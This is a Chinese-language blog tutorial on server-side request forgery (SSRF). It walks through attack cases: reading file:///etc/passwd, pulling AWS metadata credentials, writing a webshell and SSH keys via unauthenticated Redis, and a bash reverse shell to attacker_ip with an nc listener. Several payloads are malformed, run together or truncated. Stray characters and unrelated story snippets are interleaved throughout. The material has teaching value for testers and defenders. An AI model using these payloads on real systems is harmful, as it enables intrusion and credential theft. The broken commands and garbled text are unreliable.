OWAS-TOP10之-SSRF漏洞深度解析

SSRF漏洞的概念

SSRF(Server-Side Request Forgery鸠澈,服務(wù)端請求偽造)漏洞是指攻擊者可以通過構(gòu)造惡意請求,誘使服務(wù)端發(fā)起請求到攻擊者指定的地址。由于服務(wù)端通常擁有更高的權(quán)限虫蝶,比如訪問內(nèi)網(wǎng)資源或敏感數(shù)據(jù)桩卵,這種漏洞可能被用來:

- 獲取服務(wù)器內(nèi)部敏感信息。

- 探測內(nèi)網(wǎng)結(jié)構(gòu)劲弦。

- 執(zhí)行其他攻擊耳标,如利用 Redis、ElasticSearch 等內(nèi)網(wǎng)服務(wù)漏洞邑跪。

SSRF的基本原理

服務(wù)端接受并處理用戶輸入的 URL 請求次坡。未對輸入進行嚴格驗證呼猪,直接發(fā)送請求。攻擊者通過精心構(gòu)造的 URL砸琅,強制服務(wù)端請求內(nèi)網(wǎng)資源或惡意地址宋距。

SSRF的危害

- 信息泄露:通過訪問內(nèi)網(wǎng)服務(wù)獲取敏感信息。

- 內(nèi)部網(wǎng)絡(luò)探測:探測服務(wù)器所在內(nèi)網(wǎng)的拓撲結(jié)構(gòu)症脂。

- 訪問非授權(quán)服務(wù):如訪問管理面板谚赎、數(shù)據(jù)庫等。

- 進一步攻擊:通過 SSRF 訪問漏洞系統(tǒng)實施更深層次的攻擊诱篷。

尋找潛在的 SSRF 攻擊點

SSRF 通常出現(xiàn)在以下功能模塊中:

- 文件下載功能:如圖片下載壶唤、文件預(yù)覽接口,URL 參數(shù)指定文件路徑棕所。

- 示例 URL: `http://example.com/download?url=http://example.org/file.pdf`

- 圖片抓取功能:通過 URL 加載遠程圖片闸盔。

- 示例 URL: `http://example.com/getImage?url=http://example.org/image.png`

- Webhooks 或回調(diào) URL:如系統(tǒng)支持第三方服務(wù)的回調(diào)機制。

- 示例 URL: `http://example.com/callback?url=http://example.org/webhook`

- 服務(wù)端請求的 API 功能:如通過 URL 提供 API 的代理功能琳省。

- 示例 URL: `http://example.com/api?endpoint=http://example.org/api/resource`

判斷是否由服務(wù)端發(fā)起請求

方法:嘗試向可控的服務(wù)器(如 Burp Collaborator蕾殴、Ngrok、RequestBin)發(fā)送一個請求岛啸,觀察是否收到訪問日志钓觉。

- 示例測試 URL: `http://example.com/getImage?url=http://your-controlled-server.com`

工具:

- RequestBin: 用于生成臨時可控 URL,監(jiān)控服務(wù)端是否發(fā)送請求坚踩。

- Burp Collaborator: 內(nèi)置的 DNS 與 HTTP 請求監(jiān)控工具荡灾。

判斷標準:如果目標系統(tǒng)發(fā)起請求并返回到你控制的服務(wù)器,則可能存在 SSRF瞬铸。

漏洞驗證階段

1. 基本 SSRF 測試

對目標 URL 逐步構(gòu)造以下請求:

- 請求外部資源:

- 測試 URL: `http://example.com/getImage?url=http://example.org`

- 請求本地資源:

- 測試 URL: `http://example.com/getImage?url=http://127.0.0.1:80`

2. 協(xié)議測試

測試目標系統(tǒng)是否支持非 HTTP 協(xié)議:

- file:// 協(xié)議:

- 測試 URL: `http://example.com/getImage?url=file:///etc/passwd`

- gopher:// 協(xié)議(可用于內(nèi)網(wǎng)攻擊或注入命令):

- 構(gòu)造簡單的 gopher 請求:`gopher://127.0.0.1:6379/0PING`

3. 內(nèi)網(wǎng)資源探測

通過 SSRF 驗證能否訪問內(nèi)網(wǎng)資源:

- 構(gòu)造內(nèi)網(wǎng) IP 請求(如常見內(nèi)網(wǎng)網(wǎng)段):

- 示例測試:`http://example.com/getImage?url=http://192.168.1.1`

4. 利用元數(shù)據(jù)服務(wù)(云環(huán)境)

在云環(huán)境下(如 AWS批幌、Google Cloud、Azure 等)嗓节,測試是否可以通過 SSRF 訪問元數(shù)據(jù)服務(wù):

- AWS 元數(shù)據(jù)服務(wù):

- 常見測試 URL: `http://example.com/getImage?url=http://169.254.169.254/latest/meta-data/`

- Google Cloud 元數(shù)據(jù)服務(wù):

- 常見測試 URL: `http://example.com/getImage?url=http://169.254.169.254/computeMetadata/v1/`

?5. 擴展攻擊驗證

嘗試組合 SSRF 和其他漏洞驗證更多危害:

- Redis 未授權(quán)訪問:

- 利用 SSRF 構(gòu)造 Redis 訪問:

- 測試 URL: `http://example.com/getImage?url=gopher://127.0.0.1:6379/0SET+test+malicious_payload`

案例實戰(zhàn)

?案例1:利用 SSRF 訪問 Redis 未授權(quán)漏洞荧缘,寫入 Webshell

目標場景:

目標網(wǎng)站有圖片下載功能,接受一個 url 參數(shù)拦宣,直接下載并返回圖片截粗,例如:

- 示例 URL: `http://example.com/getImage?url=http://example.org/image.png`。

目標內(nèi)網(wǎng)存在 Redis 服務(wù)(假設(shè) IP 是 192.168.1.10)鸵隧,且未設(shè)置訪問密碼绸罗。

攻擊步驟:

構(gòu)造 SSRF 請求訪問 Redis:

http://example.com/getImage?url=http://192.168.1.10:6379/

-- 確認服務(wù)可被訪問。

- 向 Redis 寫入惡意數(shù)據(jù)(通過 Redis 的 SET 和 CONFIG 命令):

http://example.com/getImage?url=http://192.168.1.10:6379/SET+payload+malicious_code`

- 利用 Redis 寫入 Webshell 到目標服務(wù)器的 Web 根目錄:

http://example.com/getImage?url=http://192.168.1.10:6379/CONFIG+SET+dir+/var/www/htmlhttp://example.com/getImage?url=http://192.168.1.10:6379/CONFIG+SET+dbfilename+shell.phphttp://example.com/getImage?url=http://192.168.1.10:6379/SET+shell+

- 訪問目標服務(wù)器:

- 測試 URL: `http://example.com/shell.php?cmd=id`

成功獲取目標服務(wù)器的 Shell豆瘫。

案例2:利用 SSRF + AWS 元數(shù)據(jù)服務(wù)獲取敏感信息

目標場景:

云環(huán)境中(如 AWS EC2)珊蟀,目標應(yīng)用允許外部通過 URL 加載資源。

攻擊者利用 SSRF 請求 AWS 元數(shù)據(jù)服務(wù)(http://169.254.169.254)獲取敏感信息外驱。

攻擊步驟:

- 構(gòu)造請求獲取 AWS 臨時憑證:

http://example.com/getImage?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

- 根據(jù)返回的角色名稱(如 EC2Role)育灸,進一步獲取訪問密鑰:

http://example.com/getImage?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2Role

- 利用泄露的 Access Key 和 Secret Key腻窒,直接訪問目標 AWS 資源,如 S3 存儲桶磅崭、RDS 數(shù)據(jù)庫等定页。

案例3:利用 SSRF 探測內(nèi)網(wǎng),反彈 Shell

目標場景:

內(nèi)網(wǎng)存在弱口令的管理面板或服務(wù)(如 Jenkins绽诚、Tomcat)典徊。

攻擊者利用 SSRF 探測內(nèi)網(wǎng)服務(wù),并進一步實現(xiàn)反彈 Shell恩够。

攻擊步驟:

- 探測內(nèi)網(wǎng)服務(wù):通過逐步構(gòu)造 URL 探測內(nèi)網(wǎng)卒落,例如:

http://example.com/getImage?url=http://192.168.1.1:8080/

http://example.com/getImage?url=http://192.168.1.2:8000/

- 根據(jù)返回的 HTTP 狀態(tài)碼,確認內(nèi)網(wǎng)中服務(wù)的開放端口蜂桶。

-攻擊弱口令服務(wù):假設(shè)發(fā)現(xiàn) Jenkins 管理面板(默認端口 8080)儡毕,嘗試默認弱口令 admin:admin 登錄。

- 通過 Jenkins 的命令執(zhí)行功能上傳惡意代碼扑媚,實現(xiàn)反彈 Shell腰湾。

- 反彈 Shell:構(gòu)造惡意 payload:

```bash

bash -i >& /dev/tcp/attacker_ip/1234 0>&1

```

- 在攻擊者機器上監(jiān)聽:

```bash

nc -lvnp 1234

```

案例4:利用 SSRF 寫入 SSH 公鑰,實現(xiàn)持久化控制

目標場景:

目標內(nèi)網(wǎng)有 SSH 服務(wù)開放疆股,并且攻擊者可以利用 SSRF 將惡意公鑰寫入目標服務(wù)器的 .ssh/authorized_keys 文件费坊。

攻擊步驟:

- 確定目標服務(wù)器的 IP 地址,并驗證可以通過 SSRF 訪問旬痹。

- 利用 Redis 未授權(quán)訪問附井,寫入公鑰:

http://example.com/getImage?url=http://192.168.1.10:6379/CONFIG+SET+dir+/root/.ssh/http://example.com/getImage?url=http://192.168.1.10:6379/CONFIG+SET+dbfilename+authorized_keyshttp://example.com/getImage?url=http://192.168.1.10:6379/SET+ssh_key+

?- 通過 SSH 登錄目標服務(wù)器:

ssh -i private_key root@192.168.1.10

案例5:SSRF 繞過限制,訪問內(nèi)網(wǎng)數(shù)據(jù)庫

目標場景

目標服務(wù)器有內(nèi)網(wǎng)數(shù)據(jù)庫(如 MySQL两残、PostgreSQL)服務(wù)永毅,攻擊者利用 SSRF 構(gòu)造查詢訪問。

攻擊步驟

確認內(nèi)網(wǎng)數(shù)據(jù)庫 IP 和端口:

http://example.com/getImage?url=http://192.168.1.10:3306/

利用數(shù)據(jù)庫查詢接口注入惡意命令:

http://example.com/getImage?url=http://192.168.1.10:3306/select+user,host+from+mysql.user

進一步利用數(shù)據(jù)庫執(zhí)行敏感查詢人弓,獲取內(nèi)網(wǎng)數(shù)據(jù)沼死。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市崔赌,隨后出現(xiàn)的幾起案子意蛀,更是在濱河造成了極大的恐慌,老刑警劉巖峰鄙,帶你破解...
    沈念sama閱讀 219,039評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件浸间,死亡現(xiàn)場離奇詭異,居然都是意外死亡吟榴,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,426評論 3 395
  • 文/潘曉璐 我一進店門囊扳,熙熙樓的掌柜王于貴愁眉苦臉地迎上來吩翻,“玉大人兜看,你說我怎么就攤上這事∠料梗” “怎么了细移?”我有些...
    開封第一講書人閱讀 165,417評論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長熊锭。 經(jīng)常有香客問我弧轧,道長,這世上最難降的妖魔是什么碗殷? 我笑而不...
    開封第一講書人閱讀 58,868評論 1 295
  • 正文 為了忘掉前任精绎,我火速辦了婚禮,結(jié)果婚禮上锌妻,老公的妹妹穿的比我還像新娘代乃。我一直安慰自己,他們只是感情好仿粹,可當我...
    茶點故事閱讀 67,892評論 6 392
  • 文/花漫 我一把揭開白布搁吓。 她就那樣靜靜地躺著,像睡著了一般吭历。 火紅的嫁衣襯著肌膚如雪堕仔。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,692評論 1 305
  • 那天晌区,我揣著相機與錄音贮预,去河邊找鬼。 笑死契讲,一個胖子當著我的面吹牛仿吞,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播捡偏,決...
    沈念sama閱讀 40,416評論 3 419
  • 文/蒼蘭香墨 我猛地睜開眼唤冈,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了银伟?” 一聲冷哼從身側(cè)響起你虹,我...
    開封第一講書人閱讀 39,326評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎彤避,沒想到半個月后傅物,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,782評論 1 316
  • 正文 獨居荒郊野嶺守林人離奇死亡琉预,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,957評論 3 337
  • 正文 我和宋清朗相戀三年董饰,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,102評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡卒暂,死狀恐怖啄栓,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情也祠,我是刑警寧澤昙楚,帶...
    沈念sama閱讀 35,790評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站诈嘿,受9級特大地震影響堪旧,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜奖亚,卻給世界環(huán)境...
    茶點故事閱讀 41,442評論 3 331
  • 文/蒙蒙 一淳梦、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧遂蛀,春花似錦谭跨、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,996評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至所坯,卻和暖如春谆扎,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背芹助。 一陣腳步聲響...
    開封第一講書人閱讀 33,113評論 1 272
  • 我被黑心中介騙來泰國打工堂湖, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人状土。 一個月前我還...
    沈念sama閱讀 48,332評論 3 373
  • 正文 我出身青樓无蜂,卻偏偏與公主長得像,于是被迫代替她去往敵國和親蒙谓。 傳聞我的和親對象是個殘疾皇子斥季,可洞房花燭夜當晚...
    茶點故事閱讀 45,044評論 2 355

推薦閱讀更多精彩內(nèi)容